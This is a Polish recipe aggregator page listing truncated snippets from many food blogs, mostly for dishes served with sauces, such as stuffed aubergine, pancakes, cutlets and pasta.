przygotowanie bakłażana. Na blogu znajdziecie przepisy na moje ulubione potrawy z bakłażana takie jak : Zapiekanka z bakłażana Musaka , Bakłażanowe Cannelloni , Bakłażan smażony , czy ostatnie moje odkrycie Bakłażan w sosie jogurtowym . Kolejny przepis to bakłażan faszerowany. Ta wersja jest jednak bezmięsna, z dodatkiem ciecierzycy i ryżu. Tak faszerowany bakłażan jest daniem lekkim ale też aromatycznym. Mam nadzieję, że taka wersja faszerowanego

UgotujmyTo.pl
Oryginalny prezent dla miłośnika grillowania – domowa przyprawa do dań z grilla 214

łyżka musztardy w proszku 1 łyżka startego imbiru   Cytrusowa przyprawa do grilla   Ta przyprawa jest świetna do wieprzowiny i drobiu, możemy używać jej samodzielnie albo z ulubionym sosem barbecue. Składniki: ¼ szklanki cukru ¼ szklanki soli koszernej 3 łyżki chili w proszku 1 łyżeczka mielonego kminku 1 łyżeczka suszonego oregano 1 łyżeczka mielonej kolendry 1 łyżeczka musztardy w proszku

naRuszcie
Mrożone kostki ziołowe 213

zalej odpowiednią porcja oliwy z oliwek.  Gotowe pojemniki zamroź i tak przygotowane przechowuj do momentu zużycia w zamrażarce. Możesz na nich smażyć wszelakie dania albo z rozpuszczonych przyrządzić sos do sałatek. Smacznego

Słodko-Słony Świat Ilony
CASARECCE ZE SZPINAKIEM I CAMEMBERTEM 295

gorgonzola, ser kozi, czy smakowe sery pleśniowe. Użyłam tu mojego ulubionego makaronu Casarecce, pochodzi on z Sycylii, jest charakterystycznie zawinięty w "rynienkę", dzięki czemu zatrzymuje w sobie jak najwięcej sosu z potrawy. Idealnie podkreśla smak szpinaku i serów oraz także wielu innych dodatków, a ugotowany al dente to bohater tego dania:) Ale możecie oczywiście użyć innego rodzaju makaronu. Gorąco polecam

Słodko-Słony Świat Ilony
PESTO BAZYLIOWE 201

Domowe pesto z bazyli i orzechów nerkowca. Z dodatkiem czosnku, oliwy z oliwek i tartego parmezanu. Czysta klasyka. Pesto ma uniwersalne zastosowanie. Idealnie pasuje jako sos do makaronów czy sałat, pięknie komponuje się z mięsem czy serami. Jest świetnym i zdrowym zamiennikiem tradycyjnego masła na kanapki, ja sama bardzo często używam pesto jako główne smarowidło pieczywa. Orzechy użyte do niego

Słodko-Słony Świat Ilony
DOMOWA MĄKA KOKOSOWA 197

razy więcej błonnika niż mąka pszenna! To mąka, ktorą bez obaw mogą używać alergicy, diabetycy i osoby na diecie bezglutenowej. Można jej używać do wypieków, naleśników, deserów czy sosów. I co najważniejsze, żadna inna mąka nie pachnie tak pięknie:) Polecam! SKŁADNIKI: pozostała po produkcji domowego mleka pulpa kokosowa (im więcej tym lepiej) WYKONANIE: Bardzo dobrze odciśniętą przez gazę pulpę kokosową

Słodko-Słony Świat Ilony
JESIENNA SAŁATKA Z PRAŻONYMI OWOCAMI I MUSLI 235

skórki. Pokrój w większą kostkę. Na patelni rozpuść masło z cukrem i wrzuć na to pokrojone jabłko i gruszkę. Wymieszaj delikatnie, aby wszystkie kawałki owoców obtoczyć w powstałym "sosie". Praż owoce na patelni przez około 3-4 minuty , aż odrobinkę zmiękną.  Po tym czasie przerzuć je do miski. Dodaj odsączone z zalewy mandarynki, suszoną żurawinę, posiekane orzechy i siemię

Słodko-Słony Świat Ilony
Śledzie w śmietanie 518

posypać białym pieprzem. Odstawić na minimum 1 godzinę. Cebulę i jabłko pokroić w drobną kostkę i wymieszać z majonezem oraz śmietaną. Doprawić cukrem do smaku. Śledzie wymieszać z sosem. Odstawić na całą noc do lodówki, żeby wszystko dobrze się "przegryzło". Przepis bierze udział w akcji: linkwithin_text='Zobacz również inne przepisy:' var linkwithin_site

Świat Domowej Kuchni
Zapiekanka Gyros 693

Smażyć jeszcze przez kilka minut. Całość przełożyć do żaroodpornego naczynia. Z wierzchu całość posypać obficie startym żółtym serem. Zapiekać przez 15 minut w temperaturze 180°C. Podawać z sosem majonezowo-ketchupowym, przygotowanym z zawartości połowy słoiczka majonezu i 4 łyżek ketchupu, wymieszanych razem.   Inspiracja: przepisy.pl linkwithin_text='Zobacz również inne przepisy:' var linkwithin_site

Świat Domowej Kuchni
Zapiekane naleśniki z kurczakiem 1456

chciałam znaleźć jakieś danie z kurczaka, ale które nie wymaga żadnej dostawki w postaci ziemniaków. Dzięki temu wyszperałam doskonałe danie na zapiekane naleśniki. Alternatywnie można je serwować z różnymi sosami, dostosowanymi wg uznania.   Składniki na ciasto naleśnikowe wymieszać razem na gładką masę. Smażyć naleśniki na przetartej olejem patelni. Kurczaka umyć i pokroić w kostkę. Przesmażyć na patelni

Świat Domowej Kuchni
Udka w ananasowej glazurze 240

marynaty i ułożyć na rozgrzanym ruszcie lub w piekarniku z funkcją grillowania. Grillować około 30-35 minut, kilka razy odwracając i smarując glazurą. Gotowe danie wyśmienicie smakuje z sosem czosnkowym i pieczonymi ziemniaczkami. Smacznego :) Źródło: przepisy.pl linkwithin_text='Zobacz również inne przepisy:' var linkwithin_site

Świat Domowej Kuchni
Szaszłyki z kurczaka i brzoskwiń 170

moich ulubionych zestawień, jest łączenie różnorakich mięs z owocami. Szaszłyki, które dzisiaj zaprezentuję łączą w sobie takie właśnie zestawienie. Są delikatne i soczyste. Doskonale smakują serwowane z sosem czosnkowym. Umyte i osuszone piersi z kurczaka pokroić na małe kwadratowe kawałki. Przełożyć do miski i wymieszać je z jogurtem, przyprawą do złotego kurczaka i sokiem z cytryny. Przykryć

Świat Domowej Kuchni
Tarta z zielonym groszkiem 264

startego sera żółtego sól, pieprz, gałka muszkatołowa Dzisiaj miła odmiana od zwykłych obiadów. Szybka i nieskomplikowana potrawa, na kruchym spodzie z dodatkiem warzyw i żółtego sera, polana aromatycznym sosem śmietanowym. Najpierw należy przygotować ciasto. Wszystkie składniki na ciasto połączyć ze sobą i dokładnie zagnieść. Ciasto owinąć folią i włożyć do lodówki na minimum 30 minut. Formę do tarty wysmarować masłem

Świat Domowej Kuchni
Karmelizowane polędwiczki wieprzowe 215

klarowane) 1 duża cebula sól  pieprz Składniki na marynatę: 3 łyżki ostrej musztardy 1 łyżka jasnego miodu 2 łyżeczki tymianku 2 łyżeczki majeranku 1 płaska łyżeczka ostrej papryki Sos sojowy (do smaku) Nie wiem jak wam... ale mi, na same słowo polędwiczka cieknie ślinka :) Niepodważalnie jest to moje ulubione mięso wieprzowe. Kojarzy mi się z miękkim, aromatycznym, rozpływającym się

Świat Domowej Kuchni
Burrito z mięsem mielonym 332

oczyścić z gniazd nasiennych i pokroić w cienkie paski. Do usmażonego mięsa dodać warzywa i podsmażyć na patelni, następnie dodać fasolę i kukurydzę. Całość smażyć około 5-7 minut. Sos neapoli Knorr połączyć z wodą, wymieszać i zagotować w rondelku. Następnie wlać go na patelnię z mięsem i warzywami. Gotować wszystko razem do odparowania płynu. Po zdjęciu patelni z ognia

Świat Domowej Kuchni
Muffinki z parówkami 260

parówek Znalazłam ostatnio fajny przepis na danie, które może stanowić miłe śniadanie, ale również przystawkę na posiedzenie z przyjaciółmi, np. przy dobrym meczu :) Idealnie komponuje się z różnego rodzaju sosami lub dipami. W stosunku do oryginalnego przepisu zmniejszyłam jedynie ilość cukru. Piekarnik rozgrzać do temperatury 200°C. W dosyć wysokiej misce za pomocą trzepaczki, połączyć masło z cukrem. Dodać jajka

Świat Domowej Kuchni
Policzki wołowe w czekoladzie 368

Policzki wołowe to dla mnie nowość. Jakiś czas temu robiłam je raz po burgundzku , tym razem postanowiłam udusić je w winie, a do sosu dodać czekoladę. Już wiem ze policzki kochają czekoladę. Jeśli uda się wam jakimś cudem je zdobyć, to taki obiad może być niebanalnym, zaskakującym, smacznym daniem na waszym świątecznym stole. Czytaj więcej

Bernika - moj kulinarny pamietnik
Placki zbójnickie 4057

obrotach. Dodać pokrojone piersi , cebulkę i pora ,  jeszcze raz wymieszać. Smażyć w dobrze rozgrzanym oleju na złoty kolor. Odsączać z nadmiaru tłuszczu na papierowym ręczniczku.  Podawać z sosami lub ketchupem

Sama słodycz i szczypta chili
Oponki 183

pszennej  -1 szklanka cukru  -2 żółtka - 1 całe jajko  -pół szklanki śmietany -1 cukier waniliowy  - 2 łyżeczki sody  - na posypkę,dekoracje : cukier puder, kakao, sos czekoladowy lub inny itp. - do smażenia: 2-3 kostki smalcu , obrany ziemniak przekrojony na 3 części Sposób przygotowania: 1. Wszystkie składniki zagniatać ręcznie w misce. Gdy powstanie już jednolita masa

Gotuj Z Muzyką
Sakiewki z ciasta francuskiego 438

około centymetra wystawały ponad formę, gdyż nadmiarem ciasta będziemy przykrywać farsz. I to wszystko. Można posmarować wierzch roztrzepanym jajkiem, ale ja tego nie robię. Sakiewki można podawać z sosem, na przykład czosnkowym czy choćby z ketchupem. Można podawać zarówno na ciepło jak i na zimno

upichcic
Krokiety 188

dodajemy 0,5 kg mięsa mielonego (doprawiamy je). Kiedy mięso będzie gotowe dodajemy przecier pomidorowy i doprawiamy farsz słodką zmieloną papryką, solą, pieprzem, oregano, bazylią (w zasadzie jest to sos jak do spaghetti). Farsz umieszczamy na środku, na wierzch ścieramy np parmezan lub inny dowolny ser i zwijamy krokieta. jeśli mamy na przykład bigos czy kapustę z grzybami także możemy

upichcic
Chaczapuri imeruli 193

imeruli – chaczapuri imeretyńskie ( w formie okrągłego placka z zapieczonym w cieście nadzieniem serowym lub z pastą z czerwonej fasoli ) Może być podawane również z dodatkami, na przykład z sosem adżika. Ja pierwsze chaczapuri jadłam ok.8-9 lat temu , kiedy to dopiero wchodziła do Krakowa moda na gruzińskie restauracje . Dziś zrobiłam najprostszą wersję ( zarówno ciasta , jak i nadzienia ). SKŁADNIKI:   CIASTO

Ostra na Słodko
Racuszki ananasowe 227

kosteczkę. Dodajemy do masy. Smażymy na odrobinie mocno rozgrzanego oleju na małym!!! ogniu! * Uwaga! Pilnujemy , gdyż racuszki lubią przywierać! Podajemy z cukrem pudrem lub jak u mnie z sosem toffi

Ostra na Słodko
Tuńczyk w cieście francuskim 207

ciasto wypełnione tuńczykowym farszem smakuje rewelacyjnie! I syci na długie godziny! Jest też świetnym pomysłem na imprezową przekąskę ! SKŁADNIKI: ( na 2 porcje ) - ciasto francuskie – 1 płat - tuńczyk w sosie własnym – 100 g - czerwona papryka – 1 szt - ser żółty – 50 g - cebula – 1 szt - szczypiorek – pęczek - musztarda – 1 łyżka - śmietana 18% – 1 łyżka

Ostra na Słodko
Muffiny z kurczaka z pieczarkami 627

końce wystawały ponad brzeg. Faszerujemy przygotowanym nadzieniem. Zakrywamy wystającymi końcami fileta ( nadajemy kształt babeczek ). Wstawiamy do nagrzanego do 180C piekarnika na ok.30-40 min. Podajemy z ulubioną surówką i sosami. Smacznego

Ostra na Słodko
Gofry pizzowe z kurczakiem 407

upieczonym gofrze układamy mięso z pieczarkami i cebulką. Posypujemy kukurydzą i startym drobno żółtym serem. Przykrywamy drugim gofrem. Zapiekamy razem jeszcze kilka minut ( aż ser się roztopi ). Podajmy z sosem czosnkowym i ketchupem. Smacznego

Ostra na Słodko
Kotlety makaronowe z porem 247

solą , pieprzem i tymiankiem, m ieszamy. Z powstałej masy formujemy owalne kotleciki. Obtaczamy w reszcie bułki. Smażymy na mocno rozgrzanym oleju uważając , by się nie przypaliły! Zajadamy np. z sosem czosnkowym

Ostra na Słodko
Zapiekanka grzybowa 186

rzadka dosypujemy bułki tartej ). Foremkę do keksa smarujemy masłem. Z masy formujemy wałek. Wkładamy do foremki. Smarujemy roztrzepanym ostatnim jajkiem. Pieczemy ok. 30 minut. Zajadamy solo lub np. z sosem i czerwonym barszczykiem

Ostra na Słodko
Muffiny drożdżowe z pesto 164

prostokąt o grubości ok. 1,5 cm. Rozcinamy na paski o szerokości mniej więcej 6-7 cm i długości ok. 9-10cm Każdy z pasków smarujemy przygotowanym sosem pesto ( zostawiając wolne brzegi ). Zwijamy w ” roladkę ” lekko rozchylając jeden z brzegów. Smarujemy rozbełtany jajkiem. Tak przygotowane wkładamy do delikatnie natłuszczonym i obsypanych bułką tartą foremek na muffiny

Ostra na Słodko
Kotleciki jaglane z chrupiącą marchewką 237

smaku solą , pieprzem i odrobiną chili.Dokładnie mieszamy.Formujemy okrągłe kotleciki. Smażymy na rozgrzanym oleju na złoty kolor ( obracamy bardzo delikatnie! ).Odsączamy na papierowym ręczniku.Podajemy same lub z gorącym sosem np. pomidorowym

Ostra na Słodko
Szpinakowy makaron z suszonymi pomidorami , piri – piri i chrupiącą dynią 201

Papryczki piri – piri ( African Birds Eye Chili ) , to dokładnie to czego poszukiwałam! Niesamowicie ostre – tak jak lubię! Będę je dodawac nie tylko do makaronów , ale mięs i sosów również! Składniki : - szpinakowy makaron – 200 g – piri – piri – 1 szt – suszone pomidory – 50 g – pestki dyni – 50 g – parmezan

Ostra na Słodko
Paruchy / pampuchy / kluski na parze z gulaszem 361

materiał nie dotykał wody! Gotujemy wodę i układamy po 3-4 bułeczki. Przykrywamy miską i pozostawiamy ok. 10 – 12 minut Przekładamy delikatnie na talerz. Polewamy gorącym sosem

Ostra na Słodko
Gryczane naleśniki zapiekane z białą kaszą i grzybami pod serową kołderką 188

delikatnie ruloniki. Układamy w naczyniu żaroodpornym. Posypujemy startym serem żółtym. Smarujemy odrobiną masła po całości. Zapiekamy ok. 15 minut w nagrzanym piekarniku. Gotowe! ( U mnie podane z odrobiną śmietanowego sosu

Ostra na Słodko
Chinkali – gruzińskie pierożki 242

nadzieniami jednak tylko te mięsne są tymi ” prawdziwymi ” ). Ich jedzenie to prawdziwa sztuka! Bierzemy w palce, za „ogonek”. A ponieważ w środku w czasie gotowania powstał naturalny sos z mięsa, trzeba ostrożnie nadgryźć brzeg i wyssać cały ten sok (a przy okazji nie oblać się nim :p). Następnie zjadamy chinkali, zostawiając jednak ogonek na talerzu ( ja oczywiście pożeram

Ostra na Słodko
Ciasto ekstremalnie cytrynowe 251

suchego patyczka! ) DO NASĄCZENIA: Sok z cytryn gotujemy. Dodajemy cukier puder i gotujemy ok 3 min stale mieszając. Upieczone ciasto gęsto nakłuwamy wykałaczką. Polewamy cytrynowym sosem i zostawiamy do ostudzenia

Ostra na Słodko
Udka z marchewką i sosem serowym w chrupiącym cieście francuskim 388

jego środku udko z kurczaka. Nacinamy paski ( ok. 1 cm szerokości ) zarówno z prawej , jak i lewej strony – tak byśmy je mogli potem zaplatac . Mięso gęsto smarujemy przygotowanym sosem serowym i pokrywamy warstwą tartej marchewki. Zaplatamy ciasto tworząc ” mumię „. Całośc delikatnie natłuszczamy oliwą z oliwek. Wkładamy do nagrzanego na 190C piekarnika na ok. 20 minut ( do momentu

Ostra na Słodko
Kotlety szarpane z kurczaka 359

cebulkę i kukurydzę . Wszystko razem dokładnie mieszamy. Doprawiamy solą , pieprzem i papryką. Smażymy okrągłe i nie bardzo grube placuszki na mocno rozgrzanym oleju. Odsączamy na papierowym ręczniku. Podajemy z sosem czosnkowym ( jogurt + majonez + czosnek + sól + pieprz ). Smacznego

Ostra na Słodko
Kotlety kapuściane 236

świetnym pomysłem na błyskawiczny obiad! Śmiało można je przyrządzić również w wersji wegetariańskiej lub wręcz przeciwnie : kiełbaskę zastąpic usmażonym ( lub ugotowanym ) filetem z kurczaka ! Pomidorowa sałatka lub ulubiony sos wzbogacą danie o dodatkowe walory smakowe! Polecam! SKŁADNIKI: -mąka -1,5 szklanki -bulion (z kostki) – 250 ml - jajko – 2 szt - kapusta pekińska – ok. 200 g - dowolna wędlina

Ostra na Słodko
Beyaz Peynir KÖftesi – tureckie kotleciki serowe 164

kuchni tureckiej. BEYAZ PEYNİR KÖFTESİ są to kotleciki z sera białego z dodatkiem fety i zieleniny. Podajemy je solo lub z ulubioną surówką. Ja wzbogaciłam je lekkim , śmietanowym sosem. Robi się je błyskawicznie i są świetnym pomysłem na szybki obiad! Jak je zrobic? Zobaczcie! SKŁADNIKI: - feta – 150 g - twaróg – 150 g - czerstwy chleb – 100 g - jajko

Ostra na Słodko
Dorsz zapiekany z warzywami i tahini 209

mieszając smażymy do momentu lekkiego zezłocenia. Tahini rozrabiamy z wodą i sokiem cytrynowym. Solimy , pieprzymy , a następne zalewamy patelnię z warzywami. Gotujemy ok. 2 minutki do momentu zgęstnienia. Przygotowanym sosem zalewamy rybę. Wkładamy do nagrzanego na 180C piekarnika na ok.15 minut. Smacznego

Ostra na Słodko
Gozleme – turecki przysmak z fetą i szpinakiem 463

Turcji przyrządzają najczęściej w przydrożnych budkach … barach. Farsz można oczywiście dowolnie modyfikować , jednak to właśnie ten z sera i szpinaku jest najbardziej popularny, U mnie podany z sosem czosnkowym – smakuje rewelacyjnie! A do tego niezwykle szybko się go robi ;) SKŁADNIKI: CIASTO: - mąka – 2 szklanki - duże jajko – 1 szt - sól – 1 łyżeczka - jogurt naturalny

Ostra na Słodko
Roladki naleśnikowe z ryżem i warzywami 240

Delikatnie! zwijamy w roladkę ( dociskając ) i odstawiamy na chwilę. W tym czasie robimy to samo z pozostałymi naleśnikami. Ostrym nożem kroimy roladki i nadziewamy na długą wykałaczkę. Podajemy z sosem sałatkowym paprykowo – ziołowym Prymat , przyrządzonym na bazie jogurtu naturalnego. Smacznego

Ostra na Słodko
Racuszki warzywne 155

stałe zagościły w moim menu! Racuchy wielowarzywne, bo o nich mowa , robię z kalarepki , marchewki i odrobiny selera – są nie tylko smaczne , ale i zdrowe! Podane z delikatnym sosem np.śmietankowym nasycą jak 2 -daniowy obiad ;) Spróbujcie! SKŁADNIKI: ( ok. 4-5 szt ) * kalarepa – 1 szt * marchew duża – 1 szt * seler mały – 1 szt * jajko

Ostra na Słodko
Kotleciki makaronowe z serem 303

mieszamy. Formujemy średniej wielkości , zgrabne , okrągłe kotleciki. Panierujemy w bułce tartej i smażymy na złoto na mocno rozgrzanym oleju. Podajemy posypane startym serem + możemy do nich dodać świeży śmietanowy sos. Zajadamy gorące! Smacznego

Ostra na Słodko
Spaghetti aglio e olio / Spaghetti z oliwą i czosnkiem 255

czosnek zrobi się gorzki. W tym czasie w osobny garnku z osoloną wodą i reszta oliwy gotujemy al dente 2 rodzaje makaronu. Odcedzamy i ponownie wkładamy do garnka. Polewamy sosem z oliwy i czosnku i dokładnie mieszamy. Dodajemy posiekaną natkę pietruszki i świeżo zmielony pieprz. Podajemy natychmiast. Smacznego

Ostra na Słodko
Penne z kurczakiem , szpinakiem i gorgonzolą 376

niesamowicie doprawione , że już po pierwszym kęsie wołałam o dokładkę! Szpinak oczywiście świeży , w liściach … soczysty kurczak … i kremowa gorgonzola , która po rozgrzaniu zamieniła się w aromatyczny sos totalnie zawładnęły moim podniebieniem! Uwielbiam szpinak i jestem totalną fanką makaronów , więc danie było strzałem w 10! Spróbujcie … a gwarantuję , że nawet Ci z Was , którzy od szpinaku uciekają

Ostra na Słodko
Pulpeciki z soczewicy 168

Zrobiłam z niej pulpeciki! Delikatne , soczyste … a dzięki temu , że po zrobieniu były również smażone zyskały chrupiącą złocistą skórkę. Świetnie smakują solo , ale możemy je podać również z ulubionym sosem – np. pomidorowym. SKŁADNIKI: – soczewica czerwona – 1,5 szklanki – kukurydza – 50 g – jajko – 1 szt – mąka – 1 łyżka – bułka tarta

Ostra na Słodko
Knedle serowe z bułką tartą 153

Dziś mam dla Was kolejny przepis na jedne se swoich ulubionych knedli – a mianowicie serowe. Robiłam już je kiedyś w wersji na słodko Z SOSEM ŻURAWINOWYM I ORZECHAMI , więc dziś mam dla Was wersję można powiedzieć ” wytrawną „. Błyskawiczne do zrobienia … łatwe … i niesamowicie smaczne! A do tego śmiało mogę je zajadać osoby na diecie odchudzającej

Ostra na Słodko
Golonka w piwie i miodzie 190

golonkę wyjmujemy z garnka, osuszamy. Układamy na blasze , nacieramy czosnkową oliwą. Podlewamy niewielką ilością piwa. Pieczemy do miękkości w 190C podlewając od czasu do czasu resztą piwa oraz powstającym sosem. Miód mieszamy z odrobiną piwa i kiedy golonka będzie już miękka smarujemy ja miodową glazurą i zostawiamy w piekarniku do zrumienienia. Podajemy gorące

Ostra na Słodko
Gnocchi serowe na słodko 276

włoskie kluski podobne do naszych kopytek. Istnieje wiele odmian , w zależności od regionu Włoch, ale te najprawdziwsze i najbardziej znane są wykonane z ziemniaków. Podaje się je najczęściej z sosami , np. tymi typowymi dla makaronów. Ja jak wiecie ziemniaków niestety jeść nie mogę , ale zachcianki swoje lubię zaspokajać! Postanowiłam przyrządzić gnocchi serowe , z dodatkiem cukru i szczypty cynamonu. Wspaniały pomysł

Ostra na Słodko
Tarta snickers – z karmelem i orzechami 409

robić naprawdę delikatnie , gdyż karmel jest gorący a śmietana chłodna – powstaje ” mieszanka wybuchowa ” ;) ). Cały czas mieszając czekamy aż wszystko dokładnie się połączy i powstanie gęsty karmelowy sos. Pod koniec dodajemy orzechy i całość wylewamy na kruchy spód. Ostawiamy do lodówki do stężenia. ( Ps. łatwiej się kroi gorącym nożem ) Smacznego

Ostra na Słodko
Boeuf Strogonow 257

mieszamy od czasu do czasu , tak by mięso nie przywarło. Jeśli jest taka potrzeba podlewamy jeszcze szklanką bulionu. Do osobnego naczynia wlewamy śmietanę oraz przecier pomidorowy. Dodajemy gorący sos z gęsiarki i dokładnie rozrabiamy. Cały czas mieszając powoli wlewamy całość do duszącego się mięsa. Na wolnym ogniu dusimy jeszcze ok. 10 minut i w razie potrzeby doprawiamy do smaku. Gotowe

Ostra na Słodko
SZACHOWNICA KOKOSOWA 511

obie mąki przesiane ze szczyptą soli – mieszamy. Ciasto dzielimy na 2 części. Do jednej dodajemy kakao , olejek rumowy i połowę ubitych białek – delikatnie mieszamy. Do drugiej dodajemy sos i skórkę cytrynową oraz resztę białek – delikatnie mieszamy. Obydwa ciasta wylewamy do natłuszczonych i wyłożonych papierem do pieczenia foremek. Wkładamy do nagrzanego na 180C piekarnika na 30 minut , studzimy

Ostra na Słodko
Zrazy z kaszy jaglanej 196

JAGLANEJ . A dziś ma dla Was przepis na zrazy / frykadelki. Z dodatkiem kukurydzy są fantastycznym pomysłem na szybki i smaczny obiad! Można jeść je solo lub podać z ulubionym sosem np. śmietanowym. Są świetnym pomysłem na szybki , bezmięsny obiad! SKŁADNIKI: - kasza jaglana – 1 szkl – cebula – 1 szt – kukurydza – 80 g – mąka – 2 łyżki

Ostra na Słodko
Zupa grzybowa z zasmażanych maślaków 200

Wpis zawiera lokowanie produktu Dziś mam dla Was kolejny rewelacyjny przepis z wykorzystaniem Maślaków zasmażanych ( Provitus ). Ich delikatny smak sprawia , że nadają się nie tylko do przyrządzania sosów … zapiekanek , ale również wspaniałych zup. Dziś mam dla Was właśnie przepis na zupę. Pachnąca grzybami , sycąca i niesamowicie smaczna trafiła na mój stół kilka dni temu i zachwyciła domowników. Ja podałam

Ostra na Słodko
Naleśniki zapiekane z serem pod migdałowo – pomarańczową pierzynką 188

migdałów. CAŁOŚĆ : Naczynie do zapiekania smarujemy olejem rzepakowym. Naleśniki smarujemy serowym farszem po całości. Zakładamy boki do środka i zwijamy w ruloniki. Układamy obok siebie w naczyniu. Całość polewamy sosem pomarańczowo – migdałowym. Dla zwiększenia aromatu obok układamy przekrojone ( sparzone wcześniej ) pomarańcze. Wkładamy do nagrzanego na 180 C piekarnika na ok. 30 – 40 minut. Podajemy gorące posypane cukrem pudrem

Ostra na Słodko
Chrupiące placki ziemniaczane 289

Któż z nas nie lubi placków ziemniaczanych? Jedni uwielbiają ta po węgiersku – z gulaszem …. inni solo …. inni z sosem np. pieczarkowym … a jeszcze inni ze śmietaną i cukrem. Te po węgiersku – z gulaszem to moje ulubione , a dobrze zrobione zachwalam przez kilka następnych godzin. Dziś mam dla Was przepis na moje placki ziemniaczane. Grubo tarte

Ostra na Słodko
Karkówka w herbacie 287

dodajemy pokrojone w kostkę jabłko ( razem ze skórką ). Dokładnie mieszamy , dolewamy śmietankę słodką i na wolnym ogniu dusimy jeszcze ok. 20 minut. Podajemy gorące pokrojone w plastry i polane sosem z przysmażonymi ziemniakami i buraczkami na ciepło. Smacznego! Smakowita pajda zaskoczyła mnie swoją „uniwersalnością” – nadaje się zarówno do smażenia pieczenia , ale też jest wspaniałym dodatkiem do świeżego pieczywa! Przepis bierze

Ostra na Słodko
KOTLETY Z SOCZEWICY 222

każdą z przyjemnością zajadam! Dziś mam dla Was przepis na swoje ulubione kotleciki z czerwonej soczewicy. Delikatne , niesamowicie sycące , zdrowe – świetnie smakują zarówno soli , jak i z ulubionym sosem np. pomidorowym. Są świetną alternatywą dla mięsa i z całą pewnością posmakują nie tylko wegetarianom. Polecam! SKŁADNIKI: * soczewica czerwona – ok. 250 g * jajko – 1 szt * bulion

Ostra na Słodko
Żeberka w sosie własnym 180

paprykę i listek laurowy. Na wolnym ogniu dusimy do miękkości ( ok. godziny ). Co jakiś czas przewracamy i w razie potrzeby podlewamy wodą. Pod koniec odlewamy do garnuszka trochę powstałego sosu , dodajemy śmietanę , dokładnie mieszamy i wlewamy z powrotem do gęsiarki. Doprawiamy do smaku i podajemy gorące! Np. z kapustą! Z czystym sumieniem polecam zasmażaną Provitus

Ostra na Słodko
Polędwiczki wieprzowe w sosie własnym 248

Dziś coś dla mięsożerców ;) Polędwiczki wieprzowe można przygotować tak naprawdę na dziesiątki sposobów , ale te klasyczne , w sosie własnym podane np. z opiekanymi ziemniaczkami , buraczkami na ciepło wcale nie wymagają dodatkowych cudów. Podczas duszenia wydobywa się lekki sosik , który wystarczy tylko odrobinę zagęścić , dodać ulubione przyprawy i już można się cieszyć smakiem fantastycznego mięsa. SKŁADNIKI: ( 4 porcje ) ** polędwiczki wieprzowe

Ostra na Słodko
Placuszki makaronowe z zupek chińskich 290

kiedy nie wiemy co zrobić na obiad. Dodatek warzyw – papryki , pora i cebulki sprawia , że są nie tylko smaczne , ale i bardziej sycące. Podane z ulubionymi sosami , np. czosnkowym i ketchupem zachwycą zarówno dzieci jak i dorosłych! Polecam! SKŁADNIKI : * zupa chińska ( rosół ) – 1 op * papryka – 1 szt * cebula – 1 szt * por – 1 szt * jajko

Ostra na Słodko
Racuszki z cukini 153

rozgrzanej oliwie formując racuszki , przez ok. 4-5 min. z każdej strony. Po usmażeniu przekładamy na papierowy ręcznik, by pozbawić je nadmiaru tłuszczu. * Możemy zjadać solo lub z ulubionym sosem np. jogurtowo – czosnkowym

Ostra na Słodko
Kotlety buraczkowe z kuskusem 149

kotleciki i układamy na blasze wyłożonej papierem do pieczenia. Skrapiamy po całości olejem i wkładamy do nagrzanego na 180C piekarnika na ok. 20 minut. Podajemy solo lub z ulubionym sosem p. śmietanowym. Smacznego

Ostra na Słodko
KURCZAK PO KREOLSKU 360

powoli dodajemy przygotowany wcześniej bulion. Stawiamy z powrotem na ogień i doprowadzamy do wrzenia. Resztę oliwy rozgrzewamy rozgrzewamy na patelni , obsmażamy mięso na rumiano z dwóch stron. Zalewamy przygotowanym sosem i na wolnym ogniu gotujemy ok. 5 minut. Gotowe! UWAGA! Jeśli chcemy by danie było łagodniejsze możemy śmiało dodać na koniec ok. 150 ml śmietany ( np. sojowej ). Smacznego

Ostra na Słodko
Boczek pieczony – pyszny! 170

czasie boczek wraz z marynatą wkładamy na blachę , podlewamy bulionem , przykrywamy i wkładamy do nagrzanego na 180C piekarnika. Po ok. 30 min. przewracamy i polewamy powstałym sosem ( po kolejnych 30 min. czynność powtarzamy ). Takiej wielkości boczek piecze się ok. 100 – 140 min w zależności od mocy piekarnika. Smacznego

Ostra na Słodko
Makaron z tuńczykiem i kukurydzą 203

wygląda! Zachwyci zarówno podniebienie, jak i oczy. Jest fantastycznym pomysłem na romantyczną randkę we dwoje ;) Polecam! SKŁADNIKI: ( 2 porcje ) * makaron ( ja wykorzystałam czarny ryżowy ) – 300 g * tuńczyk w sosie własnym – 100 g * szalotka – 1 szt * kukurydza – 100 g * pomidory koktajlowe – 50 g * masło – 1 łyżka * sól * pieprz SPOSÓB PRZYRZĄDZENIA: Jeśli używamy klasycznego makaronu gotujemy

Ostra na Słodko
KREWETKI , OŚMIORNICE, KARMAZYN I SKAKANIE W SZPILKACH PRZEZ OGRODZENIE czyli TYDZIEŃ RESTAURACJI Z GROUPON W PAŁACU BONEROWS 206

Porcja zdecydowanie większa niż się spodziewałam ( tak , spodziewałam się maciupeńkiej kupki makaronu ) – no i się pomyliłam , bo było na bogato! Makaron ugotowany al dente … z odpowiednią ilością sosu ( fajnie doprawiony , o wyczuwalnym smaku , gorący , lekko pikantny ) …. i duża ilość owoców morza – krewetki , małże , ośmiorniczki , kalmary. Może nie do końca były to „moje ulubione smaki

Ostra na Słodko
FOCACCIA Z ROZMARYNEM I OLIWKAMI 200

Focaccia jest specjałem kuchni włoskiej. Jest to rodzaj pieczywa / ciasta , które może byc jednocześnie podstawą pizzy ( ale bez sosu i dodatków ). Każdy region Włoch może się pochwalić inną odmianą – z solą, ziołami ( np. rozmarynem , szałwią ) … polanej oliwą … z suszonymi pomidorami i oliwkami. Przeważnie podaje się ją na ciepło dla zaspokojenia głodu przed daniem głównym. Ja pierwszy

Ostra na Słodko
Domowa vegeta 2551

Wpis pochodzi z www.mgotuje.pl Vegeta to niezastąpiona przyprawa, która poprawi smak nie jednej zupy, sosu czy mięsa. Warto jednak korzystać z domowej mieszanki przypraw, która jest zdrowsza i o wiele smaczniejsza Nie zawiera glutaminianu sodu czy innych konserwantów, tak jak gotowe mieszanki sprzedawane w sklepach. Wystarczy wrzucić do blendera wybrane przyprawy, zmiksować

Marta Gotuje
Zapiekanka ziemniaczana z mięsem mielonym 2074

